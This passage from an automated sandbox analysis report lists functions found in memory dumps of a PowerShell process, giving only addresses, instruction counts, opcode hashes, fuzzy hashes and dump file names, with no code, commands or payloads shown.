Instruction ID: 6f27ecda6d61192c1dae6878fac93b2471b1097edc9208fe765f21260066f315
Opcode Fuzzy Hash: c8b8ad7dfd442a8fdd464ea10453774e8371531d1c67fa260c1c5041ea30eed3
Instruction Fuzzy Hash: B8E0DF31B843409FEBF267B84C027A93FA46F12651F2400E9DDA59F6C2CD61E846C762

Function 06F46180 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2615485861.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 042fc6f757ab26044e8b53deb19afade0d2c6c08494d1f9a0997ce3c90f603e5
Instruction ID: b6d07121292f44eca34a54da390aca4ad7445ff304ed61007a1bee4fd74501f2
Opcode Fuzzy Hash: 042fc6f757ab26044e8b53deb19afade0d2c6c08494d1f9a0997ce3c90f603e5
Instruction Fuzzy Hash: 64E06D70C0A248DFCB51EFF8D449599BFB4AF4A300F1045A6D845D3241EB309A44CB51

Function 06F69EF0 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2615825801.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8a6dcef2005eb10274540b05a388258461aa7ccfeb28748cb503430fd04b90f
Instruction ID: 4737d505acb393b7986befec9a703aa8b2e0baed545966d8722e5482ec23a2ff
Opcode Fuzzy Hash: e8a6dcef2005eb10274540b05a388258461aa7ccfeb28748cb503430fd04b90f
Instruction Fuzzy Hash: 58F01574D08248AFCB80DFA9C850AADBBF8EB49210F14C09AF85893241C6359A51EF90

Function 06F486AE Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2615485861.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f9ba3f550b35000bb9560f0a27c7f9e34e43d56b905aadf5e53a5fa84f72f1e
Instruction ID: 97b1979b5c52f2facf6d12b57bbbc4377710b1fe1f5eeacaed32679470644bac
Opcode Fuzzy Hash: 3f9ba3f550b35000bb9560f0a27c7f9e34e43d56b905aadf5e53a5fa84f72f1e
Instruction Fuzzy Hash: 5DF0B2B4E02209CFEB54DF68D984A99BBF2FB54310F1449A5D008E3315EB309D82CB40

Function 06F6FE38 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2615825801.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c08fe7db6a05bcb8e5fa4b435db669edb68309b0052176671b948fcaf27cdbeb
Instruction ID: 04650a5d6f54a890f289e74ff84b3565b25f86ff9ff8f0b3e494fd2275d01c56
Opcode Fuzzy Hash: c08fe7db6a05bcb8e5fa4b435db669edb68309b0052176671b948fcaf27cdbeb
Instruction Fuzzy Hash: 16F0E570E0A24CAFCB90DFA8D5515ACBFB4AB45300F1080EAD84867382C631AE01DF40

Function 06F64988 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2615825801.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c67d0ed7e88820d0ef68c75ced565432a472940489656d9f45139da944d9fc9
Instruction ID: c18bf08d8b6b9e97410faee63d65c941d70ee04ca6b9b76752a19df6274cf816
Opcode Fuzzy Hash: 2c67d0ed7e88820d0ef68c75ced565432a472940489656d9f45139da944d9fc9
Instruction Fuzzy Hash: 2CE06D70E492489FC790EBA8C954668BBF49B0A204F2481EAD889D7781E6329A41CB85

Function 06F64908 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2615825801.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf4ed5c04e842e4dbda2627ceabcd6a6c5244e85875dc9b1030b36d1e1aa4dac
Instruction ID: 753af05725b8b64b1edd80ba212d5c6684a274ea7cd279b70fff56b62de1f04a
Opcode Fuzzy Hash: bf4ed5c04e842e4dbda2627ceabcd6a6c5244e85875dc9b1030b36d1e1aa4dac
Instruction Fuzzy Hash: 4EE0DF70C0A2049FD395DA54DA007E6BBB89B06318F1480CEE4094B252C633DE42CB81

Function 06F66490 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2615825801.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2ead5803edff4c2178ee7c244bb2d9d0e9644bbba4db7bb8fd7907d9c8c2780
Instruction ID: c8ab00c376a6090278c32cb05390e1af8b988ec844f2c9d4ce8f1f0b8910401e
Opcode Fuzzy Hash: b2ead5803edff4c2178ee7c244bb2d9d0e9644bbba4db7bb8fd7907d9c8c2780
Instruction Fuzzy Hash: 68E03239904108EBCF00DF94D9409ADBB75FB48310F20C099EC0422250C6729A62EB81

Function 06F64579 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2615825801.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 373b9fb95753a70df198d4398faf0ba03bb2a6545576a3c2247f88ed3bb834e5
Instruction ID: 012287361395e48564e802bb3c1ced79e8cae1962b886317636f83ebbe1fe14d
Opcode Fuzzy Hash: 373b9fb95753a70df198d4398faf0ba03bb2a6545576a3c2247f88ed3bb834e5
Instruction Fuzzy Hash: 5DE0D871C091549FC394EBA9C5111ECBFF49B09210F1481DAEC5557351D6359E41CB91

Function 06F6B068 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2615825801.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 975983d115ef90d1ac7bafd1c71d7a1a628db219afb4d7c6ce8d44fcec84116e
Instruction ID: 895608ffaf5989a0b2e68d554b7b2b57013fbd7aeadc877005ea98091d111888
Opcode Fuzzy Hash: 975983d115ef90d1ac7bafd1c71d7a1a628db219afb4d7c6ce8d44fcec84116e
Instruction Fuzzy Hash: A6E0C974D05108BFCB84DF99C5449ACBBB8AB48310F10C19AE85997341D6319B51DF90

Function 06F68F48 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2615825801.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9d57e22f4e7e00361121431a2da6095b9b6e9ab8313c5766bf8dc81b8850b82
Instruction ID: 498048184b2d2f7b0404a9e26ba4bb904e756e9a0589cea5ece7a49ab63082a7
Opcode Fuzzy Hash: d9d57e22f4e7e00361121431a2da6095b9b6e9ab8313c5766bf8dc81b8850b82
Instruction Fuzzy Hash: B1F0C935D05208EFCB45DF99C9409ACBFB9EB48310F14C19EEC5466351D6369A51EF90

Function 06F48E18 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2615485861.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 018bf331269f00a4dd938f604d6ba863c163d6396503948fff612e7623c319ff
Instruction ID: 3f200258ee020c7941133caf0f3f99628751e10be9d26883180b83d5f773e8b3
Opcode Fuzzy Hash: 018bf331269f00a4dd938f604d6ba863c163d6396503948fff612e7623c319ff
Instruction Fuzzy Hash: 9FE0C274E05208EFCB84EFA8C9806ACBBF4EB48314F10C0AAD81893340D635AA42DF80

Function 06F47DB0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2615485861.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 018bf331269f00a4dd938f604d6ba863c163d6396503948fff612e7623c319ff
Instruction ID: 9a88214064b090659d0b9f8e2a3875a8282085c132909de36c67f02774b61932
Opcode Fuzzy Hash: 018bf331269f00a4dd938f604d6ba863c163d6396503948fff612e7623c319ff
Instruction Fuzzy Hash: BBE01A74E19208EFCB84EFA8C5406ACFBF5EB48300F10C0AAD81993340D735AA42CF80

Function 06F6C698 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2615825801.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03604f242f74f48260a2d994eb65f1619103977800fbd09ccb23a938b799227e
Instruction ID: f5b8164e5fdc4c9f3dd2f801d2c8089c361d074e54bb44e758323fb96b7d9c89
Opcode Fuzzy Hash: 03604f242f74f48260a2d994eb65f1619103977800fbd09ccb23a938b799227e
Instruction Fuzzy Hash: 87E01A74D05118EFC784DFA9C540AACFBF8EB4A300F10C0AAE88897341CA36AA51DF94

Function 06F69431 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2615825801.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4ae652f0e8be2210dfb7f81709889c67a3058e038972a9a8af4d9e8d2f0d008
Instruction ID: 9bb82e521f77f25ec037710839d0ef59fb2376523ac47b0b8a4bc6db9cfafa5c
Opcode Fuzzy Hash: b4ae652f0e8be2210dfb7f81709889c67a3058e038972a9a8af4d9e8d2f0d008
Instruction Fuzzy Hash: 84F03930A042088FEB00CFA5C841BEDBBB2EF8C304F448059E449AB281DB719982CF50

Function 06F47360 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2615485861.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10dc40183051d5f85649b84f5e8871c8613c24efac3c48aa8143bd6dcc1682e4
Instruction ID: a0230abf8f6a209505bf3b140a228de58fc8882cd783de541e3b0cb63b357020
Opcode Fuzzy Hash: 10dc40183051d5f85649b84f5e8871c8613c24efac3c48aa8143bd6dcc1682e4
Instruction Fuzzy Hash: 44E0BF74D15108DFC784FFA8D9456ACBBF4AB49214F1080A9DC4993351D7319A45CB41

Function 06F4E000 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2615485861.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdac015faf5aad7a3f97d4dbdc39609d699af8412ad6c4a128471b7b118d7642
Instruction ID: 7573000b2560ceb652f1a2dabac99ad118177b90ee2b4823f6d2c7955739a6b5
Opcode Fuzzy Hash: fdac015faf5aad7a3f97d4dbdc39609d699af8412ad6c4a128471b7b118d7642
Instruction Fuzzy Hash: CFD02E31B403049BEBF037A88C01B623BC8AF02750F1000E9EA259FAC0CEA2E841C3A0

Function 06F471AD Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2615485861.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f6372aeb5f97e535cb027ca39c5e5e0885c80fa9df11a8541b544776f601899
Instruction ID: bcb3f7086382067b872af728371130e54d8896c373b24d0b2aae1bcd6ac37ac9
Opcode Fuzzy Hash: 0f6372aeb5f97e535cb027ca39c5e5e0885c80fa9df11a8541b544776f601899
Instruction Fuzzy Hash: 31F0D430E44159CFFB50DFA4D8447AD7AB5BB48705F8041A9D40AAB744DF345D429F51

Function 06D11240 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2612516331.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6d10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dfffba6089880dd9d83367abfd5ce3bfb86077ad863c65e4f15092aa0dfe980
Instruction ID: 6aba69bececabdac9aaa60b4a4dcf09be71337929b4d77b95d0476281dba0aeb
Opcode Fuzzy Hash: 7dfffba6089880dd9d83367abfd5ce3bfb86077ad863c65e4f15092aa0dfe980
Instruction Fuzzy Hash: 1BE08634905208EBCB54DF94D9819ACBB74EB8A314F10C099DD4457340C6729E52DF84

Function 06F6D6E0 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2615825801.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72583273e789eea499aeeb26b3dcbd844134a76feb89b4ff50df5199f7d79a90
Instruction ID: 23531768c8ba1dbf632241442de0d28343e73b36cddd2986902d8f744680fad7
Opcode Fuzzy Hash: 72583273e789eea499aeeb26b3dcbd844134a76feb89b4ff50df5199f7d79a90
Instruction Fuzzy Hash: 52E0BF74E15108DFC784EFADC58569CBBF5AB49214F1084A9D80D93341D6329A55CF41

Function 06F6FE48 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2615825801.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33fca8842228fda1f7cb614f2c6cd2f73ae426555dec717d05739ea70169c7ff
Instruction ID: e345b42afbd39e017c6cf4dc74287c8af085a227a1777b4957036bb915b9cd89
Opcode Fuzzy Hash: 33fca8842228fda1f7cb614f2c6cd2f73ae426555dec717d05739ea70169c7ff
Instruction Fuzzy Hash: D1E09A74D05208EFCB54DF99D5415ACBBB5EB48314F10C1A9D80957341DA31AA41DF85

Function 06F66DB4 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2615825801.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 145bd6bd6c009e0b4aa9ec9c64367e7567915d29fab54cb52350d2250a4862ae
Instruction ID: d7360e69414412fe07d0a04585d84ffbc33e31c6ac215931d8ad509aedf81fed
Opcode Fuzzy Hash: 145bd6bd6c009e0b4aa9ec9c64367e7567915d29fab54cb52350d2250a4862ae
Instruction Fuzzy Hash: B8F0F83180065ADBDF119F50C810ADDB731FF48301F408645E95977210DB70AAD59F80

Function 06F46190 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2615485861.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b0e87840ad5d82e86feba3ef06b53cb90866fff193bd2e842ae64deb2a8b74d
Instruction ID: 8d11ed3088d32b78d211c40c01e8c13ad229b651a4b33b24d5f934fbb03d05e9
Opcode Fuzzy Hash: 4b0e87840ad5d82e86feba3ef06b53cb90866fff193bd2e842ae64deb2a8b74d
Instruction Fuzzy Hash: 8DE0EC70D56208DFDB90EFF8D54569CBFB8AB49601F1044AAD809D3241EA319A50DB41

Function 06D3F958 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2612750869.0000000006D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6d30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5987686ef3c1ac13757e8f211c040b9340e316c94b1c0decb4cd7db03f212e84
Instruction ID: 4ee044f80b4b5123a91188b68a608f9a7319a86868abe545a9d5b56b3aa4ff23
Opcode Fuzzy Hash: 5987686ef3c1ac13757e8f211c040b9340e316c94b1c0decb4cd7db03f212e84
Instruction Fuzzy Hash: 61E0C234D0920CEBC744DFA8D9409ACBBB8EB45300F10C09DC88817340CA32AE46CF90

Function 06F63EA8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2615825801.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cf01c93e7e86c2fba248a1ebda3dd492acb315fcf1886c1417f7b59613f8f0d
Instruction ID: b21123eb0f0b28f50ac8c1ad9b7d15fcd9afbd644be1a50fe1800eddd7157da3
Opcode Fuzzy Hash: 4cf01c93e7e86c2fba248a1ebda3dd492acb315fcf1886c1417f7b59613f8f0d
Instruction Fuzzy Hash: FEE0C234D09108DBCB44EFA9D9409ACBBB8EB45300F10D0ADD80813340CB32AE46CF90

Function 06F65A35 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2615825801.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41e39696a1b4c46922f090ffea30dc331f9e59a00dff185dff1901f312ac012d
Instruction ID: da1999a564fd2c13fc4b814985c35590d41eeee2cb702860c9bbd84b47ce0799
Opcode Fuzzy Hash: 41e39696a1b4c46922f090ffea30dc331f9e59a00dff185dff1901f312ac012d
Instruction Fuzzy Hash: F0E01231904208DFEF008FC4DC80A9D7B73BB4D319F808004F516AB298CB39A8469B90

Function 06F46E4E Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2615485861.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aef7510a1620cbe7ae0ec0d1a1f28d7dcc0483e333d8301a825b04cab9dcd700
Instruction ID: 8100ce89f29fe3eae475c12e0819cd042766c8708c46220291ed9f6601fcc9a6
Opcode Fuzzy Hash: aef7510a1620cbe7ae0ec0d1a1f28d7dcc0483e333d8301a825b04cab9dcd700
Instruction Fuzzy Hash: FAE01A30A41214CFEF14EF60D894B9E7BB1EF8A70AF504099D80AAB344CF345D8A8F51

Function 06F6C983 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2615825801.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0959d3eb025aab39518303641200667cd023aa5237e842df08c069ad7808b5a8
Instruction ID: c7145488e08ea6f5e643333b559b6ae39a2574c51c3f46248f37b611f71cb385
Opcode Fuzzy Hash: 0959d3eb025aab39518303641200667cd023aa5237e842df08c069ad7808b5a8
Instruction Fuzzy Hash: D5E0B674E05258CFFB50DFA9D484B9DBBB1FB59708F608259E885A7744C6345881CF90

Function 06F43C0D Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2615485861.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ddeb3a3d1b4144ff80d75dedbba93adbda3357913c126102326e45675764a27
Instruction ID: c31106a9005c3a79f572bdd9ae23224690e5b6049deef274f54c36fa0f56adfa
Opcode Fuzzy Hash: 9ddeb3a3d1b4144ff80d75dedbba93adbda3357913c126102326e45675764a27
Instruction Fuzzy Hash: 1AE0B670904258CFDBA59B24C9887D9BBB1AB41305F105095920962695CB741AC9CF42

Function 06F4ADD0 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2615485861.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 162f9c8cd78033f3bd7749a6abd6ebfc973492e6c8b01b847b821bc6d947a93b
Instruction ID: 543e914e120e2b9b21680b9fd5393046d4478fceb7424aec736dd7f24bfe6251
Opcode Fuzzy Hash: 162f9c8cd78033f3bd7749a6abd6ebfc973492e6c8b01b847b821bc6d947a93b
Instruction Fuzzy Hash: 04C0122098A2C24FEB020B704C6B2C9FFB09F02711B0881E5C8868FED38480400B8BD1

Function 06D1972A Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2612516331.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6d10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 338bc796651798d816e5f2cd50b16ab9f97eee9aa9dc3e9ad6823f6ca4c80693
Instruction ID: 41ef27226c58a2cfeefe683a15d10b9a125d571b3e60469b14eeb7667fd02426
Opcode Fuzzy Hash: 338bc796651798d816e5f2cd50b16ab9f97eee9aa9dc3e9ad6823f6ca4c80693
Instruction Fuzzy Hash: 93D06CB8A10328DFDB50DFA4E895B89BBB9BB09304F005196E45AA3790DB305981CF91

Function 06D19DE9 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2612516331.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6d10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23fafb2b47545abd6cc57e26dca81d61a6642e4383936bd19af220baac0172cd
Instruction ID: 746016191c738103762bd6cc8407111de534c2903a50945bc0a0a47886d40326
Opcode Fuzzy Hash: 23fafb2b47545abd6cc57e26dca81d61a6642e4383936bd19af220baac0172cd
Instruction Fuzzy Hash: A8C00276E5001A9A8B00DAD9E8508DCB774EB94322B004026D215A6104D63015268B50

Non-executed Functions

Function 06D39C99 Relevance: 1.4, Strings: 1, Instructions: 197COMMON

Download Yara Rule

Strings

djq, xrefs: 06D39E4D

Memory Dump Source

Source File: 00000002.00000002.2612750869.0000000006D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6d30000_powershell.jbxd

Similarity

API ID:
String ID: djq
API String ID: 0-3097775593
Opcode ID: b556b546b840de494c73e572070c387527054f7c2fa3fbc05c7c5cfae6dbe683
Instruction ID: ec3f03282c23dde3bdc3d63bac888ee7215c882e9b93b00ed41094be6f78705a
Opcode Fuzzy Hash: b556b546b840de494c73e572070c387527054f7c2fa3fbc05c7c5cfae6dbe683
Instruction Fuzzy Hash: 72816974E00218CFEB50DFA9D895B9DBBF2FB89300F508169E449AB355EB745986CF40

Function 06D39CA8 Relevance: 1.4, Strings: 1, Instructions: 194COMMON

Download Yara Rule

Strings

djq, xrefs: 06D39E4D

Memory Dump Source

Source File: 00000002.00000002.2612750869.0000000006D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6d30000_powershell.jbxd

Similarity

API ID:
String ID: djq
API String ID: 0-3097775593
Opcode ID: cfeaaf7251767c8f73339a9a17f43e57c10e59365e13d45e530ce2a828952eae
Instruction ID: 3e66f32323220a40a29a4d90949030051633af756d919ac789a526122c313684
Opcode Fuzzy Hash: cfeaaf7251767c8f73339a9a17f43e57c10e59365e13d45e530ce2a828952eae
Instruction Fuzzy Hash: C0813974E04228CFEB54DFA9D895BADBBF2FB89300F508029D449AB354EB745985CF40

Function 06D3CA30 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2612750869.0000000006D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6d30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf796fdbbdbfc667575a69b7b369dcd02949a82d22aa076ce0979e44dfcf4219
Instruction ID: 452730b31836dbae6d2041f8e55a7c50393ce64b3462a019135d349e5482fc20
Opcode Fuzzy Hash: cf796fdbbdbfc667575a69b7b369dcd02949a82d22aa076ce0979e44dfcf4219
Instruction Fuzzy Hash: 36913970E11228CFEB54DFA9D885BAEBBF2BB89300F508169E449BB351DB749845CF40

Function 06D3CA40 Relevance: .2, Instructions: 213COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2612750869.0000000006D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6d30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3b22e0143c05361c58f6dcb85dfddcb88579f985e6cf469f0aa773f3f989341
Instruction ID: f1383e9aac926264c35fcea1a8577e961e4d22399d4497c35dccb5c9c64e7f85
Opcode Fuzzy Hash: c3b22e0143c05361c58f6dcb85dfddcb88579f985e6cf469f0aa773f3f989341
Instruction Fuzzy Hash: E3812A70E25228CFEB54DFA9D885BAEBBF2BB49300F508169E409BB351DB749945CF40

Function 06D3A3F0 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2612750869.0000000006D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6d30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cae8ec3db05003ddcefa6411b14d7d4d4b8aa51a3bd109c76cfb44293ecc232
Instruction ID: 82dc9f8e1200e492ec4a6db79f76c7f5c3d0e8286a36a0defc289c3fee2ff88f
Opcode Fuzzy Hash: 1cae8ec3db05003ddcefa6411b14d7d4d4b8aa51a3bd109c76cfb44293ecc232
Instruction Fuzzy Hash: 56510870E15228CFEB44DFA9D848BEDBBF6BB49301F58902AD489A7290DB349D45CB50

Function 06D3A3E0 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2612750869.0000000006D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6d30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ce822bfe0fc4159940972cac66727fc5729d3f81fcf9f1a3a3ac0ff6bb9d76b
Instruction ID: a80a93e997cbb78dc9884de35efc6b99b1d9e04da6eccce87d95d771ebe2afb4
Opcode Fuzzy Hash: 7ce822bfe0fc4159940972cac66727fc5729d3f81fcf9f1a3a3ac0ff6bb9d76b
